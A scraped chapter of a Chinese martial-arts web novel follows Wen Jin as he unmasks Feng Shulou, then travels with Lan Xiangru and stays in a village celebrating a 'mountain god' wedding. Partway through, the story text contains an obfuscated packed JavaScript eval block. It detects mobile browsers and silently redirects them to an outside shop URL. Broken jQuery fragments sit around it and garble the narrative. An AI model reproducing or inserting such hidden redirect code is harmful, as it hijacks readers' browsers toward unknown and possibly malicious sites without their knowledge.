文趣网 > 其他小说 > 我当卧底那些年 > 10. 天医九针续鬼脉,华光寺前戏众僧(五)
    变故突发,鬼面血屠的出现,顿时令风月城上下警铃大作。

    梦渡微被他护在怀中,头也不回地往城外飞去。风栖崖眸光一凛,提剑追赶上去:“疏泽,你哥哥在何处,你究竟把他怎样了?”

    “风伯伯!”温瑾惊呼一声,欲施展轻功紧跟其后,然而转念一想,他此行去往黔西便是为了执行卧底任务,倘若此时与兰玉朗正面交手,对后续计划会十分不利,瞬即止步。

    可他心系好友风疏楼的安危,且那魔头能只手覆灭整个归云山庄,任凭风栖崖武功再高也无法以一己之力与之抗衡,更何况他方才为救兰相如已经耗损了太多功力,若在此时出现任何闪失,风月城恐将赴归云山庄的后尘。

    一念至此,温瑾再也按耐不住了,随手撕下身旁一名侍卫的衣角蒙在脸上,疾风般闪身而去。

    风月城广袤恢弘,鬼面血屠竟能进退自如。梦渡微不禁诧异,暗道教主从未下过对风月城不利的命令,何以又对风月城如此熟悉?

    风栖崖轻功了得,眼见就要追上两人了,梦渡微不愿拖累他,便说道:“教主,属下没事,你放下我赶紧离去吧。属下私自离教已是重罪,万不敢惊动教主圣驾,待属下了却这桩私仇,再回教请罚。”

    身旁之人默然不语,只是将他紧紧搂住,朝城外飞去。

    风栖崖本可以轻松拦住他们,奈何方才救人之后未及时调理内息,与梦渡微交手数招又消耗了不少功力,此刻忽觉丹田里内息剧烈翻涌,似有倒行逆施的风险。

    只一刻的分神,便让他身形不稳,脚下瓦片哗啦啦碎裂,几乎令他摔倒。

    危机时刻,温瑾赶到,扶了他一把:“风伯伯,您先调整一番,我去追他们。”

    温瑾蒙着面,语声略有些含糊。风栖崖担忧道:“那魔头武功高强,你如何是他的对手?”

    “打不过就跑,我不会白白送命的,您放心便是。”话音未落,人已远去,只留一片衣袂翻飞的风声。

    梦渡微喉间不时涌出一股子腥甜,俱被他强忍着咽了回去,身旁之人始终不说话,带着他逃出了风月城。

    恰在此时,一道剑气自后方袭来,鬼面血屠勾着梦渡微的腰倏地一闪,避开了凌人的攻势。

    “魔头休走!”温瑾踏风追来,剑势凶猛也极。

    鬼面血屠抱着受伤之人落在一片空地里,蓦然转身,摘下了面具。

    剑锋仅余方寸之遥就要刺中他的咽喉了,待看清他的面容后,温瑾手腕一转,猛地撤剑,却还是削掉了男人颈侧的一缕长发:“风大哥?”

    梦渡微诧异地望向身旁的男人,须臾,用力推开了他。

    温瑾疑惑道:“风大哥,这究竟是怎么一回事?”

    风疏楼没有回答他,而是将目光凝在梦渡微身上:“你在星罗山答应过我,要放下仇恨,随我重回风月城,难道这一切只是为了从我嘴里套出引元针的用法,以此来接近爹?”

    “放下仇恨?”梦渡微哂道,“如果能轻易放下仇与恨,那我这十三年所受的苦算什么?断子绝孙的宫刑又算什么?你轻飘飘一句‘放下’,就能挽回我的人生吗?”

    温瑾默默收了剑。

    “怎么不说话了?”梦渡微冷笑,“风栖崖今日见到我时,毫无任何愧疚与悔恨,他开口说的第一句话非是问我这十三年过得如何,而是担忧你的生死。

    “他使的每一招、每一剑、每一分功力,都在置我于死地!你要我如何放下仇恨?”

    夜色如墨,此时荒野中的另外两个人谁都没有出声,异常寂静。

    良久,梦渡微冷声道:“风疏楼,你我之间的兄弟情分早已不复存在,从今以后,无需再救我了。此番因我学艺不精,未能报仇雪恨,下回见面,不是你死,就是我活。”

    风疏楼一把拉住他的手:“阿泽!”

    梦渡微试图抽手,却被他紧紧握住,不耐道:“放开我!”

    风疏楼不为所动。

    梦渡微眸光一凛:“再不放手,我就杀了你!”

    “我本就欠你一条命,你要杀我,我无怨无悔。”风疏楼合上双目,大有慷慨赴死之意。

    温瑾急忙拦在两兄弟之间:“这是做什么?”

    风疏楼哑声说:“当年魔教进攻风月城,双方苦战两日,死伤无数。后来青龙祭祀莫长翎意图掳走我做人质,但那时我已被父亲送去了苍澜阁,并不在城中,莫长翎误将阿泽认作是我,将他带回执天教了。

    “那些苦,本该由我来承受。”

    温瑾脑袋嗡嗡作响,原来他和风疏楼在苍澜阁无忧无虑修习内家功法时,风家的二公子已经落入魔教之手了。

    梦渡微冷笑:“我的人生已经被毁了,纵你如何愧疚也无济于事——风疏楼,好自为之罢。”话甫落,梦渡微在温瑾和风疏楼肩头各拍一掌,趁两人不备迅速离去。

    不多时,副城主霁元凤率数名弟子赶来协助温瑾,温瑾立刻将风疏楼扔在地上的恶鬼面具踢进丛林深处,一并脱下他身上的黑色斗篷,立刻弃之。

    霁元凤等人走近,见到风疏楼,眼中略显讶异:“疏楼?你怎会在此?”

    温瑾抢过话回答道:“我与魔头兰玉朗酣战数回,眼见就要不敌,适逢风大哥回来,助了我一臂之力。”

    霁元凤看向他:“温少侠可有受伤?”

    温瑾捂着左肩,吸了一口凉气:“一点小伤,无碍。”

    风疏楼始终沉默着,神色莫名哀戚,霁元凤以为他二人受了很重的伤,立刻吩咐身后的弟子:“速速带少主和温少侠回城疗伤。”

    回到风月城已近子时,温瑾没去掺合他们风家的家事,径自前往西苑,草草梳洗了一番。

    屋内灯火通明,兰相如一袭白衣端坐在八仙桌前,尽显斯文儒雅。

    温瑾来到他身旁,上捏捏下捏捏:“真好了?”

    兰相如道:“行动虽不再受限,却使不出多少劲来。”

    “霁城主说,若想恢复如初,还需华光寺的般若禅心和春花秋月楼的藏金絮玉膏。此事宜早不宜迟,咱们明日便启程前往唐州华光寺。”温瑾这般说道。

    兰相如没有接话,视线落在他左肩之上,那里有一片干涸的血迹,将青衣染透:“你受伤了?”

    温瑾摇了摇头:“别担心,这不是我的血。”

    “你与执天教教主交过手了?”兰相如单手支颐,好奇地看着他。

    “那个魔头是风大哥假扮的,他只是为了救走梦渡微。”温瑾倒一杯温水,咕噜咕噜灌入肚中。

    他一口一个魔头,兰相如听了,不禁勾唇浅笑。

    温瑾拧眉:“你笑什么?”

    兰相如正色道:“没什么。”

    温瑾轻哼一声,起身朝自己的寝室走去:“睡觉!”

    翌日晌午,兰相如和温瑾拜别风月城众人,启程前往唐州。

    兰相如的筋脉虽已续接,但行动却不如往昔那般灵便,风疏楼特意为他二人备了辆马车,并递给温瑾一封信:“华光寺虽位列五大世家之一,却已隐世多年,鲜少过问红尘事。此信乃家父执笔,里面享尽道明了你二人拜访华光寺之缘由,你将此信交给慧明住持,他定会出手相助。”

    温瑾接过信,抱拳道:“谢过风伯伯。”

    兰相如站在马车前,也对风疏楼拱手致谢。

    风疏楼微微一笑,复又叮嘱道:“兰公子的内伤还未痊愈,每日仍需服药。我命人备了五帖草药,与行李一块儿放在车厢内,你每天寻个方便之处煎煮了给他服用。”

    温瑾点头:“嗯,好。”

    “小瑾——”风疏楼忽然将温瑾拉至一侧,低语道,“此前你言自己有重任在身,可否告诉我是什么要紧事?”

    温瑾与他交好,此刻也不再隐瞒,勾着他的脑袋附耳道:“去执天教当卧底。”

    风疏楼闻言色变:“什么?!”

    兰相如往这边看了一眼,温瑾赶紧示意他噤声。

    风疏楼担忧不已:“此事太过冒险,万万不可!”

    “放心吧风大哥,我自有分寸。”温瑾肃然叮嘱,“事关整个武林盟,请务必替我保密,连风伯伯也不能说。 ”

    风疏楼还想再劝,温瑾急忙朝马车走去,挥手道别:“风大哥再会!”

    风疏楼面露愁容,追出几步,朗声道:“如今江湖动荡不安,若你们遇到魔教中人,能避则避,凡事三思,切莫逞强!”

    温瑾跳上车辕,将兰相如一把拉了上来,笑盈盈道:“知道啦!风大哥保重!”<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17694603|207972||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    风疏楼紧锁双眉,仍在为他担心。

    温瑾依依不舍地掉转马头,悠悠离去。

    两人一路北行,驶离江陵府,不出五日便进入了唐州界内。

    这天傍晚,阴云密布,眼见暴雨就要来临,温瑾和兰相如商议了一番,决定就近寻个村子落脚。

    约莫过了三刻,他们来到一个名为“香花岭”的村庄,此时暮色已至,阖村灯火尽明,热闹非凡。

    走过村头的石桥,一座饱经风雨的牌楼赫然入目,牌楼上悬挂着贴了“喜”字的大红灯笼,连同道路两侧的桂树上亦挂满了红绸和灯笼。温瑾疑惑道:“谁家办喜事如此张扬,连村头的牌楼也挂上红灯笼?”

    兰相如亦是不解:“许是此地的风俗罢。”

    温瑾好奇不已,遂赶着马车进村,在一对中年夫妻家落了脚。

    这对夫妻家主姓李,夫妇俩淳朴好客,无奈家中略微清贫,只能誊出一间像模像样的卧房招待客人,温瑾连忙说道:“李叔李婶,不用太麻烦,我们睡一间就够了。”

    “这怎么行!”李叔当即反驳,“他婶儿——去把霖儿那间房收拾出来。”

    兰相如制止道:“我们只借宿一宿,无需这般讲究。”

    见两人执意如此,李叔便不再多言,转而吩咐李婶去烧晚饭,自己则去院子里剁猪草。

    温瑾取出一剂草药,拿去厨房问李婶借了只陶壶煎药,见另一口灶炉上也熬着药,关切道:“李婶,家中可有人生病了?”

    李婶笑了一声:“这是给咱家那头母猪熬的配种药。”

    温瑾甚是震惊,赶紧将手中的药壶端得远一些,少顷,又道:“贵村村头的牌楼上为何挂着大喜的灯笼?”

    李婶往锅里倒入半碟切成片的腊肉,一面翻炒一面回答:“老牛家的闺女出嫁,从明日起,大摆三天流水席哩。”

    “这么有钱?”

    “有狗屁的钱,不过是生了个模样俊俏的姑娘,侥幸被山神选中,嫁过去享福了。”

    “山神?”温瑾皱眉。

    “此乃唐州的风俗,山神每年都要从唐州各地娶一名貌美的女子做夫人,并给予这户人家万贯钱财。”李婶嗤道,“这些年来,唐州人以生女为荣,全都指望着自家闺女能当上山神夫人,从此衣食无忧。”

    温瑾对山神的说法存疑,却也没再多言,默默往炉子里添了些柴火。

    不多时,晚饭备妥,温、兰两人与李叔夫妇一同上桌用膳,兰相如挑剔如斯,不吃腊肉,也不饮菌菇汤,只夹了几筷爆炒的时蔬拌饭食用。

    李婶惶惑道:“可是小妇人做的饭菜不合公子胃口?”

    温瑾咽下嘴里的饭菜,解释道:“我这位兄长信佛,他吃素。”

    兰相如没有反驳,由着他给自己找借口。

    李婶笑了笑:“原来如此。”

    饭毕,温瑾给兰相如盛来一碗药,转而又去帮李婶收拾碗筷,及至亥时初刻,方回房歇息。

    温瑾两手枕于脑下,直挺挺地躺在床榻内侧,将山神娶妻一事说给兰相如听,并问道:“你相信这世上有神仙吗?”

    兰相如漠然道:“若有神明,我双亲何至于惨死?”

    温瑾呼吸一紧,侧首看向他:“对不起。”

    “你没做错什么,无需说对不起。”兰相如合上眼帘,语调已不复方才的冷淡,“睡吧,明日一早还要赶路。”

    温瑾努努嘴,暗恼自己不该多嘴问这一句。

    躺了许久,睡意来袭,两人相继渐渐入眠。

    子夜时分,万籁俱寂。温瑾睡得正熟,忽闻窗外传来一阵窸窸窣窣的动静,当即睁开眼,仔细辨听。

    那声音似是从院子西面传来的。

    “这么久了,怎的还没反应,莫非买了假药?”

    “不可能,朱老板又不是头一回做咱们的生意!”

    是李叔李婶的声音。

    很快,李叔又道:“那你说,这母猪为何还不发情?难不成你给它吃错药了?”

    李婶争辩道:“放你祖宗的屁!我就熬了一壶配种药,怎么会……”

    语声未落,李婶仿佛想起了什么,愣在当下。

    温瑾心头一凛,下意识看向桌上的那只空碗……